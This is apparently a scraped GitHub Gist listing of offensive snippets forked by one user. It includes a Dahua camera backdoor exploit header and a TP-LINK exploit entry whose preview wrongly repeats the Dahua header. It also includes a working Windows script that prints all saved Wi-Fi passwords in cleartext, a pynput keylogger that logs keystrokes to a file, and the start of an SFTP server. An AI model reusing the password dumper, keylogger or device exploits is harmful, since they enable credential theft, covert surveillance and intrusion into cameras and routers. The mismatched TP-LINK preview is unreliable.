Skip to content

Instantly share code, notes, and snippets.

@D3ACP
D3ACP / dahua-backdoor.py
Created August 11, 2019 18:04 — forked from cre8tions/dahua-backdoor.py
dahua exploit poc
#!/usr/bin/python2.7
#
# Dahua backdoor Generation 2 and 3
# Author: bashis <mcw noemail eu> March 2017
#
# Credentials: No credentials needed (Anonymous)
#Jacked from git history
#
import string
@D3ACP
D3ACP / tplink-unauth-exploit.py
Created July 20, 2019 23:35 — forked from eacmen/tplink-unauth-exploit.py
TP-LINK WL-WA850RE POC Unauthenticated Exploit
#!/usr/bin/python2.7
#
# Dahua backdoor Generation 2 and 3
# Author: bashis <mcw noemail eu> March 2017
#
# Credentials: No credentials needed (Anonymous)
#Jacked from git history
#
import string
@D3ACP
D3ACP / get_wifi_passwords.py
Created May 22, 2019 21:42 — forked from brentvollebregt/get_wifi_passwords.py
Will find each network profile on a windows machine and print the profile and password
import subprocess
a = subprocess.check_output(['netsh', 'wlan', 'show', 'profiles']).decode('utf-8', errors="ignore").split('\n')
a = [i.split(":")[1][1:-1] for i in a if "All User Profile" in i]
for i in a:
try:
results = subprocess.check_output(['netsh', 'wlan', 'show', 'profile', i, 'key=clear']).decode('utf-8', errors="ignore").split('\n')
results = [b.split(":")[1][1:-1] for b in results if "Key Content" in b]
try:
print ("{:<30}| {:<}".format(i, results[0]))
@D3ACP
D3ACP / keylogger.pyw
Created May 22, 2019 21:41 — forked from brentvollebregt/keylogger.pyw
A Python 3 keylogger using the pynput module
# From: https://github.com/moses-palmer/pynput
from pynput.keyboard import Key, Listener
import logging
log_dir = ""
logging.basicConfig(filename=(log_dir + "key_log.txt"), level=logging.DEBUG, format='["%(asctime)s", %(message)s]')
def on_press(key):
logging.info('"{0}"'.format(key))
@D3ACP
D3ACP / sftpserver_main.py
Created May 8, 2019 20:30 — forked from Girgitt/sftpserver_main.py
multithreaded sftp server in python based on https://github.com/rspivak/sftpserver
import time
import socket
import optparse
import sys
import textwrap
import paramiko
from sftpserver.stub_sftp import StubServer, StubSFTPServer